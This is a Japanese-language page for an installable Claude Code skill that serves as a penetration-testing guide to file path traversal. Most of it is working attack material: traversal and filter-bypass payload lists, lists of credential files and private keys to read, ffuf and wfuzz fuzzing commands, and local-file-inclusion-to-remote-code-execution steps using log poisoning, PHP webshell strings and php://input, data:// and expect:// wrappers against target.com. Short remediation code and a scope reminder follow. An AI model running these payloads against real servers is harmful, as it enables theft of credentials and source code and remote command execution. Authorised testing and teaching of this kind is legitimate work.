mcpField
F
File Path Traversal Testing

File Path Traversal Testing

github.com/zebbernセキュリティ4.7k74 回インストール2 日前に更新
リポジトリ

File Path Traversal Testing について

Webアプリのファイルパストラバーサルを調べるセキュリティテスト向けガイドです。ファイル関連入力の特定、不正なファイルアクセスの検証、自動テスト、防御策を扱います。

主な機能

  1. 01ファイル関連の入力箇所の特定
  2. 02トラバーサルパスとエンコード変種の検査
  3. 03Burp Suite、ffuf、wfuzzの利用
  4. 04ファイルアクセスと影響の評価
  5. 05修正策と安全なコーディング指針

活用シーン

  1. 01ファイルダウンロードや文書ビューアーの検査
  2. 02入力から想定外のディレクトリ内ファイルへ到達できるか確認
  3. 03トラバーサルの影響と修正内容の記録

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/zebbern/claude-code-guide --skill file-path-traversal-testing

インストール後、Claude Code で/file-path-traversal-testingを入力して読み込まれたか確認します。

詳細

ファイルパストラバーサルのテスト

目的

攻撃者がサーバー上の任意のファイルを読み取れるようにする、ファイルパストラバーサル(ディレクトリトラバーサル)の脆弱性を特定し、悪用します。これにより、機密性の高い設定ファイル、認証情報、ソースコードなどが露出する可能性があります。この脆弱性は、ユーザーが制御可能な入力が適切な検証なしにファイルシステム API に渡されたときに発生します。

前提条件

必要なツール
  • 開発者ツール付きの Web ブラウザー
  • Burp Suite または OWASP ZAP
  • ペイロードのテスト用 cURL
  • 自動化用のワードリスト
  • ffuf または wfuzz(ファジング用)
必要な知識
  • HTTP リクエスト/レスポンスの構造
  • Linux および Windows のファイルシステムのレイアウト
  • Web アプリケーションのアーキテクチャ
  • ファイル API の基本的な理解

成果物

  1. 脆弱性レポート - 特定されたトラバーサルポイントと深刻度
  2. 悪用の証明 - 取得したファイルの内容
  3. 影響評価 - アクセス可能なファイルとデータの露出
  4. 修正ガイダンス - 安全なコーディングに関する推奨事項

中核となるワークフロー

フェーズ 1: パストラバーサルの理解

パストラバーサルは、アプリケーションがユーザー入力を使ってファイルパスを構築する場合に発生します。

// Vulnerable PHP code example
$template = "blue.php";
if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
    $template = $_COOKIE['template'];
}
include("/home/user/templates/" . $template);

攻撃の原理:

  • ../ のシーケンスは、ディレクトリを 1 つ上に移動します
  • 複数のシーケンスを連結してルートに到達します
  • 意図したディレクトリの外にあるファイルにアクセスします

影響:

  • 機密性 - 機密ファイルの読み取り
  • 完全性 - ファイルの書き込み/変更(場合によって)
  • 可用性 - ファイルの削除(場合によって)
  • コード実行 - ファイルアップロードまたはログポイズニングと組み合わせた場合
フェーズ 2: トラバーサルポイントの特定

潜在的なファイル操作についてアプリケーションをマッピングします。

# Parameters that often handle files
?file=
?path=
?page=
?template=
?filename=
?doc=
?document=
?folder=
?dir=
?include=
?src=
?source=
?content=
?view=
?download=
?load=
?read=
?retrieve=

一般的な脆弱な機能:

  • 画像の読み込み: /image?filename=23.jpg
  • テンプレートの選択: ?template=blue.php
  • ファイルのダウンロード: /download?file=report.pdf
  • ドキュメントビューアー: /view?doc=manual.pdf
  • インクルードの仕組み: ?page=about
フェーズ 3: 基本的な悪用テクニック
単純なパストラバーサル
# Basic Linux traversal
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd

# Windows traversal
..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hosts

# URL encoded
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd  # Double encoding

# Test payloads with curl
curl "http://target.com/image?filename=../../../etc/passwd"
curl "http://target.com/download?file=....//....//....//etc/passwd"
絶対パスインジェクション
# Direct absolute path (Linux)
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ

# Direct absolute path (Windows)
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini
フェーズ 4: バイパステクニック
除去されるトラバーサルシーケンスのバイパス
# When ../ is stripped once
....//....//....//etc/passwd
....\/....\/....\/etc/passwd

# Nested traversal
..././..././..././etc/passwd
....//....//etc/passwd

# Mixed encoding
..%2f..%2f..%2fetc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
拡張子検証のバイパス
# Null byte injection (older PHP versions)
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png

# Path truncation
../../../etc/passwd...............................

# Double extension
../../../etc/passwd.jpg.php
ベースディレクトリ検証のバイパス
# When path must start with expected directory
/var/www/images/../../../etc/passwd

# Expected path followed by traversal
images/../../../etc/passwd
ブラックリストフィルターのバイパス
# Unicode/UTF-8 encoding
..%c0%af..%c0%af..%c0%afetc/passwd
..%c1%9c..%c1%9c..%c1%9cetc/passwd

# Overlong UTF-8 encoding
%c0%2e%c0%2e%c0%af

# URL encoding variations
%2e%2e/
%2e%2e%5c
..%5c
..%255c

# Case variations (Windows)
....\\....\\etc\\passwd
フェーズ 5: Linux の対象ファイル

狙うべき価値の高いファイル:

# System files
/etc/passwd           # User accounts
/etc/shadow           # Password hashes (root only)
/etc/group            # Group information
/etc/hosts            # Host mappings
/etc/hostname         # System hostname
/etc/issue            # System banner

# SSH files
/root/.ssh/id_rsa           # Root private key
/root/.ssh/authorized_keys  # Authorized keys
/home/<user>/.ssh/id_rsa    # User private keys
/etc/ssh/sshd_config        # SSH configuration

# Web server files
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/etc/apache2/sites-enabled/000-default.conf
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log

# Application files
/var/www/html/config.php
/var/www/html/wp-config.php
/var/www/html/.htaccess
/var/www/html/web.config

# Process information
/proc/self/environ      # Environment variables
/proc/self/cmdline      # Process command line
/proc/self/fd/0         # File descriptors
/proc/version           # Kernel version

# Common application configs
/etc/mysql/my.cnf
/etc/postgresql/*/postgresql.conf
/opt/lampp/etc/httpd.conf
フェーズ 6: Windows の対象ファイル

Windows 固有の対象:

# System files
C:\windows\win.ini
C:\windows\system.ini
C:\boot.ini
C:\windows\system32\drivers\etc\hosts
C:\windows\system32\config\SAM
C:\windows\repair\SAM

# IIS files
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\

# Configuration files
C:\xampp\apache\conf\httpd.conf
C:\xampp\mysql\data\mysql\user.MYD
C:\xampp\passwords.txt
C:\xampp\phpmyadmin\config.inc.php

# User files
C:\Users\<user>\.ssh\id_rsa
C:\Users\<user>\Desktop\
C:\Documents and Settings\<user>\
フェーズ 7: 自動テスト
Burp Suite の使用
1. Capture request with file parameter
2. Send to Intruder
3. Mark file parameter value as payload position
4. Load path traversal wordlist
5. Start attack
6. Filter responses by size/content for success
ffuf の使用
# Basic traversal fuzzing
ffuf -u "http://target.com/image?filename=FUZZ" \
     -w /usr/share/wordlists/traversal.txt \
     -mc 200

# Fuzzing with encoding
ffuf -u "http://target.com/page?file=FUZZ" \
     -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
     -mc 200,500 -ac
wfuzz の使用
# Traverse to /etc/passwd
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
      --hc 404 \
      "http://target.com/index.php?file=FUZZ"

# With headers/cookies
wfuzz -c -z file,traversal.txt \
      -H "Cookie: session=abc123" \
      "http://target.com/load?path=FUZZ"
フェーズ 8: LFI から RCE へのエスカレーション
ログポイズニング
# Inject PHP code into logs
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

# Include Apache log file
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"

# Include auth.log (SSH)
# First: ssh '<?php system($_GET["cmd"]); ?>'@target.com
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
Proc/self/environ
# Inject via User-Agent
curl -A "<?php system('id'); ?>" \
     "http://target.com/page?file=/proc/self/environ"

# With command parameter
curl -A "<?php system(\$_GET['c']); ?>" \
     "http://target.com/page?file=/proc/self/environ&c=whoami"
PHP ラッパーの悪用
# php://filter - Read source code as base64
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"

# php://input - Execute POST data as PHP
curl -X POST -d "<?php system('id'); ?>" \
     "http://target.com/page?file=php://input"

# data:// - Execute inline PHP
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"

# expect:// - Execute system commands
curl "http://target.com/page?file=expect://id"
フェーズ 9: テスト手法

構造化されたテストアプローチ:

# Step 1: Identify potential parameters
# Look for file-related functionality

# Step 2: Test basic traversal
../../../etc/passwd

# Step 3: Test encoding variations
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# Step 4: Test bypass techniques
....//....//....//etc/passwd
..;/..;/..;/etc/passwd

# Step 5: Test absolute paths
/etc/passwd

# Step 6: Test with null bytes (legacy)
../../../etc/passwd%00.jpg

# Step 7: Attempt wrapper exploitation
php://filter/convert.base64-encode/resource=index.php

# Step 8: Attempt log poisoning for RCE
フェーズ 10: 予防策

安全なコーディングの実践:

// PHP: Use basename() to strip paths
$filename = basename($_GET['file']);
$path = "/var/www/files/" . $filename;

// PHP: Validate against whitelist
$allowed = ['report.pdf', 'manual.pdf', 'guide.pdf'];
if (in_array($_GET['file'], $allowed)) {
    include("/var/www/files/" . $_GET['file']);
}

// PHP: Canonicalize and verify base path
$base = "/var/www/files/";
$realBase = realpath($base);
$userPath = $base . $_GET['file'];
$realUserPath = realpath($userPath);

if ($realUserPath && strpos($realUserPath, $realBase) === 0) {
    include($realUserPath);
}
# Python: Use os.path.realpath() and validate
import os

def safe_file_access(base_dir, filename):
    # Resolve to absolute path
    base = os.path.realpath(base_dir)
    file_path = os.path.realpath(os.path.join(base, filename))
    
    # Verify file is within base directory
    if file_path.startswith(base):
        return open(file_path, 'r').read()
    else:
        raise Exception("Access denied")

クイックリファレンス

一般的なペイロード
ペイロード対象
../../../etc/passwdLinux のパスワードファイル
..\..\..\..\windows\win.iniWindows の INI ファイル
....//....//....//etc/passwd単純なフィルターのバイパス
/etc/passwd絶対パス
php://filter/convert.base64-encode/resource=config.phpソースコード
対象ファイル
OSファイル用途
Linux/etc/passwdユーザーアカウント
Linux/etc/shadowパスワードハッシュ
Linux/proc/self/environ環境変数
WindowsC:\windows\win.iniシステム設定
WindowsC:\boot.iniブート設定
Webwp-config.phpWordPress の DB 認証情報
エンコーディングのバリエーション
種類例
URL エンコーディング%2e%2e%2f = ../
二重エンコーディング%252e%252e%252f = ../
Unicode%c0%af = /
Null バイト%00

制約と制限

権限の制限
  • アプリケーションのユーザーがアクセスできないファイルは読み取れません
  • shadow ファイルの読み取りには root 権限が必要です
  • 多くのファイルは制限的な権限が設定されています
アプリケーションの制限
  • 拡張子の検証によってファイルタイプが制限される場合があります
  • ベースパスの検証によってスコープが制限される場合があります
  • WAF が一般的なペイロードをブロックする場合があります
テスト時の考慮事項
  • 許可されたスコープを必ず遵守してください
  • 実際に機密性の高いデータへのアクセスは避けてください
  • 成功したアクセスはすべて記録してください

トラブルシューティング

問題解決策
レスポンスに差異がないエンコーディング、ブラインドトラバーサル、別のファイルを試す
ペイロードがブロックされるエンコーディングのバリエーション、入れ子のシーケンス、大文字・小文字の変更を使用する
RCE へエスカレートできないログを確認し、PHP ラッパー、ファイルアップロード、セッションポイズニングを確認する

コメント